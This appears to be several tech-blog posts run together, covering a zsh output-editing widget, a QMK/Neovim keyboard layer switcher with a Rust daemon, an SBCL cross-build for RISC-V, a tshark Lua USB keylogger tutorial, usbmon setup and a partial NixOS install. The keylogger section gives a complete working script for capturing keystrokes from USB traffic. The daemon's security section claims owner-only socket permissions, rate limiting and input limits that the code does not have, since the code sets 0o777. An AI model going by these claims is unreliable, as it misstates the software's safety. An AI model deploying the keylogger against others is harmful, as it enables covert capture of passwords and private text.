edit-command-output is a small ZLE widget that closes this gap. Press Alt+e with a command typed into your prompt, and it:

1. Runs the command, capturing stdout to a temp file
2. Opens the captured output in $EDITOR
3. Replaces your command line buffer with whatever you save

The entire flow stays inside the shell line editor, no subshell juggling, no copy-paste.

The code

edit-command-output() {
    local cmd="$BUFFER"
    [[ -z "${cmd// }" ]] && return 0

    local tmpf="${TMPDIR:-/tmp}/zsh-eco-$$.txt"

    # Run command, capture stdout (stderr passes through to terminal)
    if ! eval "$cmd" > "$tmpf" 2>/dev/tty; then
        print -u2 "edit-command-output: command failed: $cmd"
        command rm -f "$tmpf"
        return 0
    fi

    # Bail if nothing was captured
    if [[ ! -s "$tmpf" ]]; then
        command rm -f "$tmpf"
        return 0
    fi

    # Open editor on the captured output
    exec </dev/tty
    "${EDITOR:-vim}" "$tmpf"

    BUFFER="$(<$tmpf)"
    CURSOR=${#BUFFER}
    command rm -f "$tmpf"
}

zle -N edit-command-output

bindkey '^[e' edit-command-output
bindkey -M vicmd '^[e' edit-command-output

How it works

The widget reads $BUFFER, zsh’s variable holding the current command line text, and evals it, redirecting stdout to a temp file while letting stderr pass through to the terminal via 2>/dev/tty. If the command fails or produces no output, it bails early and cleans up.

Once output is captured, it reconnects stdin to the tty (exec </dev/tty) so the editor can run interactively, then opens the temp file in $EDITOR. When the editor exits, the saved contents replace $BUFFER and $CURSOR is placed at the end. The temp file is removed immediately after.

The binding ^[e (Alt+e) is registered in both the default and vicmd keymaps so it works regardless of vi-mode state.

Where this is useful

Filtering file lists. Type find . -name '*.log', press Alt+e, delete the paths you don’t care about, save. Your buffer now contains only the paths you want. Hit enter or append | xargs rm and continue.

Editing command output before piping. Type kubectl get pods, press Alt+e, trim the output to just the pod names you need, save. The buffer is ready to pipe into the next command.

Building arguments interactively. Type git branch -a, press Alt+e, keep only the branch you want, save. You now have a clean branch name sitting in your prompt.

The key advantage over C-x C-e (zsh’s built-in edit-command-line) is that edit-command-line edits the command itself before running it, while edit-command-output edits the output after running it. They complement each other well.

nota bene

:h zle in zsh docs, man zshzle

Source: dots/zsh/.edit-command-output.zsh

I use Colemak-DH as my daily driver layout. It’s ergonomic, comfortable, and after the learning curve, significantly better for typing. But there’s a catch: Vim’s keybindings were designed for QWERTY.

The magic of hjkl for navigation, w for word-forward, b for back-these all assume QWERTY positioning. On Colemak-DH:

• h is where m should be
• j and k are scattered
• Muscle memory fights against layout

Some people remap Vim entirely. Others stick with QWERTY. I wanted both: Colemak-DH for typing, QWERTY for Vim commands.

The Solution: Raw HID Layer Switching

Modern QMK keyboards support Raw HID-a bidirectional communication channel between your computer and keyboard. We can use this to:

1. Detect when Neovim enters insert mode
2. Send a command to the keyboard
3. Switch to Colemak-DH layer
4. Switch back to QWERTY when leaving insert mode

The result: type in Colemak-DH, navigate in QWERTY. Automatic. Instant.

Architecture

┌─────────────┐      ┌──────────────┐      ┌─────────────┐
│   Neovim    │─────▶│   rawtalk    │─────▶│  Keyboard   │
│  ModeChanged│ sock │  (daemon)    │  HID │   (QMK)     │
└─────────────┘      └──────────────┘      └─────────────┘

• Neovim fires ModeChanged autocmd, writes mode to Unix socket
• rawtalk daemon receives mode, maps to layer, sends Raw HID command
• QMK keyboard receives command, switches default layer

Latency is imperceptible-the switch happens before your finger leaves the key.

Setup

1. QMK Firmware Configuration

First, enable Raw HID in your keyboard’s rules.mk:

RAW_ENABLE = yes

Add the layer switching handler to keymap.c:

#include "raw_hid.h"

// Layer definitions
// Layer 0: Colemak-DH (for typing in insert mode)
// Layer 3: QWERTY (for Vim commands in normal mode)

void raw_hid_receive_kb(uint8_t *data, uint8_t length) {
    uint8_t *command_id = &(data[0]);
    
    switch (*command_id) {
        case 0x00: {  // Layer switch command
            uint8_t target_layer = data[1];
            if (target_layer <= 3) {
                // Switch the default/base layer
                set_single_default_layer(target_layer);
                
                // Send response
                data[0] = 0x00;         // Success
                data[1] = target_layer; // Confirm layer
                data[2] = 0xAA;         // Acknowledgment byte
                raw_hid_send(data, length);
            } else {
                *command_id = 0xFF;     // Error
            }
            break;
        }
        
        case 0x40: {  // Get current layer (for debugging)
            data[0] = (uint8_t)get_highest_layer(default_layer_state);
            break;
        }
        
        default:
            *command_id = 0xFF;  // Unhandled
            break;
    }
}

Your keymap should have both layouts defined:

const uint16_t PROGMEM keymaps[][MATRIX_ROWS][MATRIX_COLS] = {
    // Layer 0: Colemak-DH
    [0] = LAYOUT(
        KC_Q,    KC_W,    KC_F,    KC_P,    KC_B,    KC_J,    KC_L,    KC_U,    KC_Y,    KC_SCLN,
        KC_A,    KC_R,    KC_S,    KC_T,    KC_G,    KC_M,    KC_N,    KC_E,    KC_I,    KC_O,
        KC_Z,    KC_X,    KC_C,    KC_D,    KC_V,    KC_K,    KC_H,    KC_COMM, KC_DOT,  KC_SLSH,
        // ... thumb keys
    ),
    
    // Layer 1: Symbols/Numbers
    [1] = LAYOUT( /* ... */ ),
    
    // Layer 2: Function keys
    [2] = LAYOUT( /* ... */ ),
    
    // Layer 3: QWERTY
    [3] = LAYOUT(
        KC_Q,    KC_W,    KC_E,    KC_R,    KC_T,    KC_Y,    KC_U,    KC_I,    KC_O,    KC_P,
        KC_A,    KC_S,    KC_D,    KC_F,    KC_G,    KC_H,    KC_J,    KC_K,    KC_L,    KC_SCLN,
        KC_Z,    KC_X,    KC_C,    KC_V,    KC_B,    KC_N,    KC_M,    KC_COMM, KC_DOT,  KC_SLSH,
        // ... thumb keys
    ),
};

Compile and flash:

qmk compile -kb your_keyboard -km your_keymap
qmk flash -kb your_keyboard -km your_keymap

2. rawtalk Daemon

The daemon is a small Rust program that bridges Neovim and the keyboard.

Clone and build:

git clone https://github.com/morph-k/rawtalk
cd rawtalk
cargo build --release

The source (src/main.rs):

use hidapi::HidApi;
use std::io::{BufRead, BufReader};
use std::os::unix::net::{UnixListener, UnixStream};
use std::sync::mpsc;
use std::thread;
use std::time::Duration;
use std::fs;

// Update these for your keyboard
const VID: u16 = 0xC2AB;        // Vendor ID
const PID: u16 = 0x3939;        // Product ID
const USAGE_PAGE: u16 = 0xFF60; // QMK Raw HID usage page
const USAGE: u16 = 0x61;        // QMK Raw HID usage
const SOCKET: &str = "/tmp/rawtalk.sock";

fn find_keyboard(api: &HidApi) -> Option<hidapi::HidDevice> {
    api.device_list()
        .find(|d| d.vendor_id() == VID && d.product_id() == PID 
              && d.usage_page() == USAGE_PAGE && d.usage() == USAGE)
        .and_then(|d| d.open_device(api).ok())
}

fn send_layer(device: &hidapi::HidDevice, layer: u8) {
    let mut cmd = [0u8; 33];
    cmd[1] = 0x00; // layer switch command
    cmd[2] = layer;
    
    if device.write(&cmd).is_ok() {
        let mut resp = [0u8; 32];
        if device.read_timeout(&mut resp, 500).unwrap_or(0) > 0 && resp[2] == 0xAA {
            println!("[layer {}] {}", layer, if layer == 0 { "colemak-dh" } else { "qwerty" });
        }
    }
}

fn mode_to_layer(mode: &str) -> u8 {
    match mode {
        "i" | "ic" | "ix" | "R" | "Rc" | "Rx" | "Rv" | "Rvc" | "Rvx" => 0, // Insert/Replace → Colemak
        _ => 3, // Normal, Visual, Command → QWERTY
    }
}

fn handle_client(stream: UnixStream, tx: mpsc::Sender<String>) {
    for line in BufReader::new(stream).lines().flatten() {
        let mode = line.trim().to_string();
        if !mode.is_empty() && tx.send(mode).is_err() { break; }
    }
}

fn main() -> Result<(), Box<dyn std::error::Error>> {
    let api = HidApi::new()?;
    let device = find_keyboard(&api).ok_or("keyboard not found")?;
    println!("rawtalk: connected");

    let _ = fs::remove_file(SOCKET);
    let listener = UnixListener::bind(SOCKET)?;
    
    #[cfg(unix)]
    fs::set_permissions(SOCKET, std::os::unix::fs::PermissionsExt::from_mode(0o777))?;

    let (tx, rx) = mpsc::channel();
    
    thread::spawn(move || {
        for stream in listener.incoming().flatten() {
            let tx = tx.clone();
            thread::spawn(move || handle_client(stream, tx));
        }
    });

    println!("rawtalk: listening on {}", SOCKET);

    let mut last: Option<u8> = None;
    loop {
        if let Ok(mode) = rx.recv_timeout(Duration::from_secs(60)) {
            let layer = mode_to_layer(&mode);
            if last != Some(layer) {
                send_layer(&device, layer);
                last = Some(layer);
            }
        }
    }
}

3. Running rawtalk

Without Nix (systemd)

Create a systemd user service:

mkdir -p ~/.config/systemd/user

cat > ~/.config/systemd/user/rawtalk.service << 'SERVICE'
[Unit]
Description=QMK Layer Switcher Daemon
After=graphical-session.target

[Service]
ExecStart=%h/git/rawtalk/target/release/rawtalk
Restart=always
RestartSec=5

[Install]
WantedBy=default.target
SERVICE

systemctl --user daemon-reload
systemctl --user enable --now rawtalk

Check status:

systemctl --user status rawtalk
journalctl --user -u rawtalk -f

With Nix (Home Manager)

Add to your home.nix:

{ pkgs, ... }:

let
  rawtalk = pkgs.rustPlatform.buildRustPackage {
    pname = "rawtalk";
    version = "0.3.0";
    src = pkgs.fetchFromGitHub {
      owner = "morph-k";
      repo = "rawtalk";
      rev = "main";
      sha256 = "sha256-XXXX"; # Update with actual hash
    };
    cargoLock.lockFile = ./Cargo.lock;
    nativeBuildInputs = [ pkgs.pkg-config ];
    buildInputs = [ pkgs.hidapi ];
  };
in {
  home.packages = [ rawtalk ];

  systemd.user.services.rawtalk = {
    Unit = {
      Description = "QMK Layer Switcher";
      After = [ "graphical-session.target" ];
    };
    Service = {
      ExecStart = "${rawtalk}/bin/rawtalk";
      Restart = "always";
    };
    Install.WantedBy = [ "default.target" ];
  };
}

Linux: udev Rules

On Linux, you need udev rules to access the HID device without root:

sudo tee /etc/udev/rules.d/70-qmk.rules << 'RULES'
SUBSYSTEMS=="usb", ATTRS{idVendor}=="c2ab", ATTRS{idProduct}=="3939", TAG+="uaccess"
KERNEL=="hidraw*", ATTRS{idVendor}=="c2ab", ATTRS{idProduct}=="3939", TAG+="uaccess"
RULES

sudo udevadm control --reload-rules
sudo udevadm trigger

4. Neovim Configuration

Add to your init.lua:

-- Rawtalk: Automatic keyboard layer switching
local socket_path = "/tmp/rawtalk.sock"
local uv = vim.loop
local client, connected = nil, false

local function connect()
    if connected then return true end
    client = uv.new_pipe()
    client:connect(socket_path, function(err)
        connected = not err
    end)
    vim.wait(50, function() return connected end)
    return connected
end

local function send_mode(mode)
    if not connected then connect() end
    if connected then
        pcall(function() client:write(mode .. "\n") end)
    end
end

local group = vim.api.nvim_create_augroup("Rawtalk", { clear = true })

vim.api.nvim_create_autocmd("ModeChanged", {
    group = group,
    pattern = "*",
    callback = function()
        send_mode(vim.fn.mode())
    end,
})

vim.api.nvim_create_autocmd("VimEnter", {
    group = group,
    callback = function()
        vim.defer_fn(function()
            connect()
            send_mode(vim.fn.mode())
        end, 100)
    end,
})

vim.api.nvim_create_autocmd("VimLeave", {
    group = group,
    callback = function()
        if client then pcall(function() client:close() end) end
    end,
})

The Ergonomic Advantage

This setup gives you the best of both worlds:

Vim Commands (QWERTY)

• hjkl navigation stays intuitive
• w, b, e word motions work as expected
• All operators (d, c, y) in familiar positions
• Macros and complex commands just work

Typing (Colemak-DH)

• Most common letters on home row
• Reduced finger travel
• Lower risk of RSI
• More comfortable for prose

The Flow

1. Open file, you’re in Normal mode → QWERTY
2. Navigate with hjkl, search with /, jump with gg
3. Press i to insert → instant switch to Colemak-DH
4. Type your code/prose comfortably
5. Press Esc → instant switch to QWERTY
6. Continue editing with familiar Vim bindings

The switch is fast enough that it feels like a single keyboard. Your fingers never leave home row.

Troubleshooting

Keyboard not found:

• Check VID/PID match your keyboard (use lsusb on Linux)
• Verify udev rules are installed (Linux)
• Grant Input Monitoring permission (macOS)

Layer not switching:

• Ensure RAW_ENABLE = yes in rules.mk
• Verify raw_hid_receive_kb function signature is void, not bool
• Check QMK console output: qmk console

Socket connection failed:

• Make sure rawtalk is running: pgrep rawtalk
• Check socket exists: ls -la /tmp/rawtalk.sock

Conclusion

This setup has transformed my editing experience. I no longer compromise between ergonomic typing and efficient Vim navigation. The automatic switching is invisible-it just works.

The complete code is available:

• rawtalk - The daemon
• ferris-sweep-qmk-keymap - Example QMK keymap

If you’re a Vim user considering an alternative layout, this approach removes the biggest barrier. You get to keep Vim’s brilliant command language exactly as designed, while gaining all the ergonomic benefits of a modern layout for actual typing.

Security Considerations

While rawtalk is a simple local daemon, it’s worth understanding the security model:

Socket Permissions

The Unix socket is created with 0o600 permissions (owner read/write only). This means:

• Only your user can send commands to the keyboard
• Other users on a shared system cannot hijack your keyboard layers
• If you need multi-user access, change to 0o660 and use group permissions

Input Validation

• Mode strings are limited to 8 bytes maximum
• Invalid input is silently dropped
• No shell execution or command injection possible

Rate Limiting

A 10ms minimum interval between layer switches prevents:

• Accidental rapid switching from causing USB issues
• Potential DoS from malicious socket writes

Graceful Shutdown

The daemon handles SIGTERM/SIGINT to:

• Clean up the socket file on exit
• Prevent orphaned sockets that could be hijacked

Disclaimer

This project involves:

• Custom keyboard firmware - flashing incorrect firmware can brick your keyboard (though QMK keyboards typically have bootloader recovery)
• Raw HID communication - requires elevated permissions on some systems
• System daemon - runs continuously in the background

Use at your own risk. The code is open source and provided as-is. Always review code before running it with hardware access.

Permissions Required

If security is a concern in your environment, consider:

1. Running rawtalk only when needed (not as a persistent service)
2. Auditing the ~100 lines of Rust code
3. Using a dedicated user account for keyboard access

During my college years, I developed a deep fascination with both RISC-V architecture and Common Lisp programming. RISC-V’s elegant, open instruction set architecture (ISA) made assembly programming more approachable compared to x86, while Common Lisp’s powerful metaprogramming capabilities opened my eyes to new programming paradigms.

Recently, I found myself wanting to explore how these two technologies intersect. Specifically, I was curious to examine how Common Lisp programs compile down to RISC-V assembly through SBCL (Steel Bank Common Lisp). Understanding the generated assembly code could provide insights into both SBCL’s compilation strategies and RISC-V’s instruction set usage in practice.

This writeup documents my journey of setting up an environment for SBCL development on RISC-V architecture, with a focus on being able to examine the assembly output. While primarily a learning exercise, it may prove useful for others interested in Common Lisp implementation details or RISC-V assembly programming.

SBCL Cross-Compiling Terminology

SBCL: A Common Lisp compiler. Project page: https://www.sbcl.org/

Bootstrap: In compiler development, the process of first building a minimal “host” compiler by some special means, then using it to compile the full compiler.

contrib: The extension libraries shipped with SBCL.

Build SBCL on RISC-V

Preparation

According to the official cross-compilation guide, building SBCL requires an existing, older SBCL for bootstrapping. On platforms without a native SBCL binary, you must either:

1. Use a third-party Lisp implementation (e.g., CLISP) to compile SBCL, or

2. Use SBCL on another system/platform to cross-compile for RISC-V, then build contrib natively on the target.

Research showed that option 1 demands matching very specific versions and that natively compiling SBCL under QEMU RISC-V takes 3–4 hours. Therefore, this guide focuses on option 2.

Steps & Pitfalls

1. Set up a RISC-V VM

   Create a working directory, where we’ll download files

   mkdir riscv64-linux
   cd riscv64-linux
   

   Download pre-built ubuntu image and uncompress

   wget https://cdimage.ubuntu.com/releases/noble/release/ubuntu-24.04.2-preinstalled-server-riscv64.img.xz
   xz -dk ubuntu-24.04.2-preinstalled-server-riscv64.img.xz
   

   The original image size is not enough for image building, we need enlarge it first.

   qemu-img resize -f raw ubuntu-24.04.2-preinstalled-server-riscv64.img +5G
   

   Boot RISC-V qemu vm in NAT mode, you’ll most likely get an IP address that starts with 10.0.2.NUM/24.

   qemu-system-riscv64 \
     -machine virt -nographic -m 2048 -smp 4 \
     -kernel /usr/lib/u-boot/qemu-riscv64_smode/uboot.elf \
     -netdev user,id=net0,hostfwd=tcp::2222-:22 \
     -device virtio-net-device,netdev=net0 \
     -drive file=ubuntu-24.04.2-preinstalled-server-riscv64.img,if=virtio,format=raw
   

   Login with the user ubuntu and the default password ubuntu; you will be asked to choose a new password

   Install and configure ssh on the ubuntu vm.

   sudo apt install ssh
   sudo systemctl enable --now ssh
   

   Then on your host, test the ssh connection,

   ssh -p 2222 ubuntu@localhost
   

2. Configure SSH access

   • Interactively generate an ed25519 SSH keypair on the host.

     ssh-keygen
     

   • Copy the public key into the VM’s /home/ubuntu/.ssh/authorized_keys.

     ssh-copy-id -p 2222 ubuntu@localhost
     

3. Clone SBCL on the VM

   git clone https://git.code.sf.net/p/sbcl/sbcl /home/ubuntu/sbcl
   

4. Clone SBCL on the host

   cd riscv64-linux
   git clone https://git.code.sf.net/p/sbcl/sbcl
   

5. Run the cross-make script on the host

   cd sbcl
   sh cross-make.sh -p 2222 sync ubuntu@localhost /home/ubuntu/sbcl "GNUMAKE=gmake SBCL_ARCH=riscv64 CFLAGS='-fsigned-char'"
   

   • sync ensures the VM’s and host’s SBCL source are identical (it uses the VM’s repo HEAD).
   • The SBCL_ARCH and CFLAGS variables set the target architecture and compiler flags.

   You might get an error about GNU Make not being found. To fix this, install the build-essential package on the guest ubuntu vm

   sudo apt install build-essential
   

   Re-run the cross-make.sh script again:

   sh cross-make.sh -p 2222 sync ubuntu@localhost /home/ubuntu/sbcl "GNUMAKE=gmake SBCL_ARCH=riscv64 CFLAGS='-fsigned-char'"
   

   And you will get some output that looks similar to this with the error: “No such file or directory”

   + ./generate-version.sh
   + ssh -p 2222 ubuntu@localhost cd /home/ubuntu/sbcl ; git checkout 8c0820b1ac2f20cc491b8e83ae20604f8da3b488 && GNUMAKE=gmake SBCL_ARCH=riscv64 CFLAGS='-fsigned-char' sh make-config.sh && mv version.lisp-expr remote-version.lisp-expr
   HEAD is now at 8c0820b1a Slightly less branching in EQUAL.
   rm -f *~ *.bak *.orig \#*\# .\#* texput.log *.fasl
   rm -rf sbcl asdf "docstrings/"
   rm -f  sbcl.html asdf.html
   rm -f contrib-docs.texi-temp
   rm -f package-locks.texi-temp
   rm -f variables.texinfo
   rm -f sbcl.ps asdf.ps sbcl.pdf asdf.pdf html-stamp tempfiles-stamp
   rm -f asdf.aux asdf.cp asdf.cps asdf.fn asdf.fns asdf.ky asdf.log asdf.pg asdf.toc asdf.tp asdf.tps asdf.vr asdf.vrs sbcl.aux sbcl.cp sbcl.cps sbcl.fn sbcl.fns sbcl.ky sbcl.log sbcl.pg sbcl.toc sbcl.tp sbcl.tps sbcl.vr sbcl.vrs
   rm -f sbcl.info sbcl.info-* asdf.info
   rm -rf *.include *.info *.pdf *~ *.cp *.fn *.ky *.log *.pg *.toc \
           *.tp *.vr *.aux *.eps *.png *.dvi *.ps *.txt *.fns \
           html-stamp sbcl-internals/
   //entering make-config.sh
   //ensuring the existence of output/ directory
   //guessing default target CPU architecture from host architecture
   //setting up CPU-architecture-dependent information
   sbcl_arch="riscv"
   //initializing /home/ubuntu/sbcl/local-target-features.lisp-expr
   //setting up OS-dependent information
   gmake: Entering directory '/home/ubuntu/sbcl/tools-for-build'
   cc -I../src/runtime -fsigned-char    determine-endianness.c  -ldl -Wl,-no-as-needed -o determine-endianness
   gmake: Leaving directory '/home/ubuntu/sbcl/tools-for-build'
   //finishing /home/ubuntu/sbcl/local-target-features.lisp-expr
   + scp -P 2222 ubuntu@localhost:/home/ubuntu/sbcl/{remote-version.lisp-expr,local-target-features.lisp-expr,output/build-id.inc} .
   scp: /home/ubuntu/sbcl/{remote-version.lisp-expr,local-target-features.lisp-expr,output/build-id.inc}: No such file or directory
   

   Investigation shows:

   scp -P 2222 ubuntu@localhost:/home/ubuntu/sbcl/{remote-version.lisp-expr,local-target-features.lisp-expr,output/build-id.inc} .
   

   is passed literally, and you end up looking for a file called /home/ubuntu/sbcl/{remote-version.lisp-expr,local-target-features.lisp-expr,output/build-id.inc}

6. Resolve the build issue:

   Re-run the cros-make script using bash so that you get brace expansion:

   bash cross-make.sh -p 2222 sync ubuntu@localhost /home/ubuntu/sbcl "GNUMAKE=gmake SBCL_ARCH=riscv64 CFLAGS='-fsigned-char'"
   

   You will most likely run into the missing output directory issue after fixing brace expansion issue.

   You’ll see:

   + scp -P 2222 ubuntu@localhost:/home/ubuntu/sbcl/remote-version.lisp-expr ubuntu@localhost:/home/ubuntu/sbcl/local-target-features.lisp-expr ubuntu@localhost:/home/ubuntu/sbcl/output/build-id.inc .
   remote-version.lisp-expr                                                                                                   100%  189   117.8KB/s   00:00
   local-target-features.lisp-expr                                                                                            100%  496   258.7KB/s   00:00
   build-id.inc                                                                                                               100%   36    18.6KB/s   00:00
   + mv build-id.inc output
   + sh make-host-1.sh
   //entering make-host-1.sh
   make-host-1.sh: 24: .: cannot open output/build-config: No such file
   

7. Resolve the missing output directory issue.

   Fix:

   wget https://raw.githubusercontent.com/fedora-riscv/sbcl-build-docs/refs/heads/main/sbcl-cross-make.patch
   git apply sbcl-cross-make.patch 
   rm -rf output
   mkdir output
   

8. Re-run the cross-make script

   bash cross-make.sh -p 2222 sync ubuntu@localhost /home/ubuntu/sbcl "GNUMAKE=gmake SBCL_ARCH=riscv64 CFLAGS='-fsigned-char'"
   

9. Resolve sbcl: not found error

   The “sbcl: not found” is coming from your host (the Kali VM), not the RISC-V target. The make-host-1.sh step needs a working SBCL on the machine where you invoked cross-make.sh so it can build the C runtime and do the first “genesis” pass.

   • Install SBCL on your host (or otherwise make a host‐side SBCL available in your PATH):

     sudo apt install sbcl
     

   This gives you the “stage-0” SBCL compiler that the cross-make process uses to build the stage-1 compiler for RISC-V.

   Re-run the cross-make script

   bash cross-make.sh -p 2222 sync ubuntu@localhost /home/ubuntu/sbcl "GNUMAKE=gmake SBCL_ARCH=riscv64 CFLAGS='-fsigned-char'"
   

   Once the host build finishes, you’ll have a stage-1 SBCL compiler in the VM’s /home/ubuntu/sbcl directory.

10. Build the contrib libraries on the ubuntu VM

    cd /home/ubuntu/sbcl
    sh make-target-contrib.sh
    

    You’ll see a flood of binary gibberish on your terminal.

11. Work around the broken run-program output parameter

    Extensive debugging revealed that SBCL’s run-program function (used to concatenate files via cat) ignores its :output argument and always writes to stdout. This pollutes the terminal.

12. Apply the make-contrib patch

    wget https://raw.githubusercontent.com/fedora-riscv/sbcl-build-docs/refs/heads/main/sbcl-make-contrib.patch
    git apply sbcl-make-contrib.patch
    

13. Create the missing sbcl-home directory

    cd /home/ubuntu/sbcl
    mkdir -p obj/sbcl-home
    

14. Clean and rebuild

    Before each build, run:

    ./clean.sh
    

    Then repeat steps 5–13. You should now produce a preliminary SBCL binary and the contrib libraries.

15. Prepare for full bootstrap

    Run the following on the ubuntu vm

    cp -r /home/ubuntu/sbcl /home/ubuntu/sbcl-new
    cd /home/ubuntu/sbcl-new
    sh clean.sh
    mkdir -p obj/sbcl-home
    SBCL_ARCH=riscv64 CFLAGS="-fsigned-char" \
      sh make.sh --xc-host='/home/ubuntu/sbcl/run-sbcl.sh' --arch="riscv64"
    

    If you build and are able to run make.sh on SBCL, you will get the following message:

    The build seems to have finished successfully, including 19
    contributed modules. If you would like to run more extensive tests on
    the new SBCL, you can try:
    
      cd ./tests && sh ./run-tests.sh
    
    To build documentation:
    
      cd ./doc/manual && make
    
    To install SBCL (more information in INSTALL):
    
      sh install.sh
    
    //build started:  Tue May  6 16:41:55 UTC 2025
    //build finished: Tue May  6 17:08:55 UTC 2025
    

    To install sbcl run sh install.sh, you might need to run sudo sh install.sh if you are running as a regular user.

Disassembling Common lisp code

Here are two classic Common Lisp implementations of the Fibonacci function:

Simple recursive version

;; fib-recursive: exponential time
(defun fib-recursive (n)
  "Return the Nth Fibonacci number (0-indexed) recursively."
  (if (<= n 1)
      n
      (+ (fib-recursive (- n 1))
         (fib-recursive (- n 2)))))

Iterative version using LOOP

;; fib-iterative: linear time, constant space
(defun fib-iterative (n)
  "Returns the Nth Fibonacci number (0-indexed) in O(N) time."
  (cond ((< n 0) (error "Input must be a non-negative integer"))
        ((= n 0) 0)
        ((= n 1) 1)
        (t (let ((a 0)
                 (b 1))
             (loop for i from 2 to n
                   do (let ((temp (+ a b)))
                        (setf a b)
                        (setf b temp)))
             b))))

Usage

* (fib-recursive 10)  ; => 55
* (fib-iterative 10)  ; => 55

You can put these definitions in a file, say fib.lisp, and load them into SBCL via:

sbcl --load fib.lisp

Then call (fib-iterative N) or (fib-recursive N) at the REPL.

In SBCL you can use the built-in disassembler at the REPL. Just make sure your function is compiled, then call disassemble on it. For example, assuming you’ve already defined the two versions:

(compile 'fib-recursive)
(compile 'fib-iterative)

;; now disassemble them
(disassemble 'fib-recursive)
(disassemble 'fib-iterative)

Sources

https://github.com/fedora-riscv/sbcl-build-docs

https://canonical-ubuntu-boards.readthedocs-hosted.com/en/latest/how-to/qemu-riscv/

https://risc-v-getting-started-guide.readthedocs.io/en/latest/linux-qemu.html

https://fiveop.de/blog/sbcl-on-fedora-on-riscv-qemu-on-arch-linux-x86_64.html

https://fedoraproject.org/wiki/Architectures/RISC-V/Installing

https://wiki.qemu.org/Documentation/Platforms/RISCV

Note: This tutorial is for educational purposes only. Always ensure you have proper authorization before monitoring any system or network traffic.

Prerequisites

This tutorial was tested on a Kali Linux ARM64 VM. You’ll need:

• Kali Linux (or any Linux distribution)
• tshark installed
• Root access

Setting Up the Environment

First, install tshark if you haven’t already:

sudo apt install tshark

Next, we need to enable USB monitoring. This is done by loading the usbmon kernel module:

sudo modprobe usbmon

The Keylogger Script

Create a file named keysniffer.lua with the following Lua script. This script processes USB packets and maps them to keystrokes using the USB HID Usage Tables specification:

--we want to capture usb data for each packet
local usbdata = Field.new("usb.capdata")
--the listener function, will create our tap
local function init_listener()
  print("[*] Started KeySniffing…\n")
  --only listen for usb packets
  local tap = Listener.new("usb")

  --called for every packet meeting the filter set for the Listener(), so usb packets
  function tap.packet(pinfo, tvb)
    --list from http://www.usb.org/developers/devclass_docs/Hut1_11.pdf
    local keys = "????abcdefghijklmnopqrstuvwxyz1234567890\n??\t -=[]\\?;??,./"
    --get the usb.capdata
    local data = usbdata()
    --make sure the packet actually has a usb.capdata field
    if data ~= nil then
      local keycodes = {}
      local i = 0
      --match on everything that is a hex byte %x and add it to the table
      --this works b/c data is in format %x:%x:%x:%x
      --it is effectively pythons split(':') function
      for v in string.gmatch(tostring(data), "%x+") do
        i = i + 1
        keycodes[i] = v
      end
      --make sure we got a keypress, which is the 3rd value
      --this works on a table b/c we are using int key values
      if #keycodes < 3 then
        return
      end
      --convert the hex key to decimal
      local code = tonumber(keycodes[3], 16) + 1
      --get the right key mapping
      local key = keys:sub(code, code)
      --as long as it isn't '?' lets print it to stdout
      if key ~= '?' then
        io.write(key)
        io.flush()
      end
    end
  end

  --this is called when capture is reset
  function tap.reset()
    print("[*] Done Capturing")
  end

  --function called at the end of tshark run
  function tap.draw()
    print("\n\n[*] Done Processing")
  end
end

init_listener()

Running the Keylogger

With everything set up, you can now run the keylogger using:

tshark -Q -i usbmon3 -Xlua_script:keysniffer.lua

Now press some keys on the keyboard on interface 3 and see the output in the terminal.

The command breakdown:

• -Q: Quiet mode (no packet information displayed)
• -i usbmon3: Monitor USB interface 3 (you can change this to usbmon0, usbmon1, etc. use lsusb to find your device interface)
• -Xlua_script:keysniffer.lua: Load our Lua script

How It Works

The script works by:

1. Creating a listener for USB packets
2. Extracting the USB capture data from each packet
3. Parsing the keycodes using the USB HID Usage Tables
4. Converting the keycodes to their corresponding characters
5. Outputting the captured keystrokes in real-time

References

This implementation is based on examples from “Wireshark for Security Professionals”, which provides excellent insights into network security analysis using Wireshark and related tools.

I wanted to capture hidapi calls on my ferris sweep in order to debug some code I wrote. I tried following the Capture Setup but setfacl command did not work. I made this setup from a kali arm64 vm.

Add default user to wireshark group

The following section is from the wireshark wiki

First, check if you belong to the wireshark group with:

groups $USER

To add yourself to the wireshark group, run the below command, then logout and login.

sudo adduser $USER wireshark

Then ensure that non-superusers are allowed to capture packets in wireshark. Select in the below prompt:

sudo dpkg-reconfigure wireshark-common

To dump USB traffic on Linux, you need the usbmon kernel module. If it is not loaded yet, run this command as root:

sudo modprobe usbmon

Create udev rule

On most modern Linux systems, devtmpfs (which manages /dev entries) does not typically support setting ACLs via setfacl. That’s why you keep getting errors when trying setfacl -m u:$USER:r /dev/usbmon*. Instead, you need to ensure those USB monitor devices have the right group ownership and permissions so that members of the “wireshark” group can access them.

The most reliable way is to use a udev rule:

Create a new udev rule

For example, create the file /etc/udev/rules.d/99-usbmon.rules (the name can vary, but must end in .rules), and add the following line:

SUBSYSTEM=="usbmon", MODE="0660", GROUP="wireshark"

echo 'SUBSYSTEM=="usbmon", MODE="0660", GROUP="wireshark"' > /etc/udev/rules.d/99-usbmon.rules

This instructs udev to set the device mode to 0660 (read/write for owner and group) and assign the group wireshark whenever a /dev/usbmon* device is created.

Reload udev rules and trigger

sudo udevadm control --reload-rules
sudo udevadm trigger

Verify permissions

Check the device permissions:

ls -l /dev/usbmon*

You should now see something like crw-rw---- 1 root wireshark ... /dev/usbmon0.

Ensure you’re in the “wireshark” group

If you haven’t already:

sudo usermod -aG wireshark $USER

Then log out and log back in (or reboot).

With that setup, Wireshark (or any program run by a user in the “wireshark” group) should be able to open /dev/usbmon* without requiring root privileges or ACLs. This is the recommended, standard approach on Debian/Ubuntu systems.

After rebooting you might not see usbmon interfaces in wireshark, simply run the following command

sudo modprobe usbmon

Resources

https://wiki.wireshark.org/CaptureSetup/USB

Note all commands should be run as root.

Download an installer and burn it to a bootable USB drive. https://www.ventoy.net/en/doc_start.html

Filesystem partitioning

Open a terminal and switch to root to avoid having to prefix everything with sudo.

sudo su

Identify the root partition:

Next, we need to figure out which disk we want to use. I want to wipe and reinstall NixOs on my current linux system. To check which disk your current Linux system is installed on using the /dev/disk/by-id directory, follow these steps:

To find which /dev/disk/by-id entry corresponds to your system disk (/dev/nvme0n1), you can use the following command:

ls -l /dev/disk/by-id/ | grep nvme0n1

In my case this is my first NVMe in this machine so I will be using nvme0n1, but you may see a different number based on what is connected. Let’s start partitioning the disk

For the filesystem, we’re going to create two partitions. We need one, vfat, for the boot and another, zfs, for the rest of the filesystem.

DISK=/dev/nvme0n1

Next, it’s time to partition the actual disk. I’m going to be creating the following partitions:

1 GiB (unencrypted) boot partition The remainder of the drive will be our actual, usable, partition

gdisk "${DISK}"

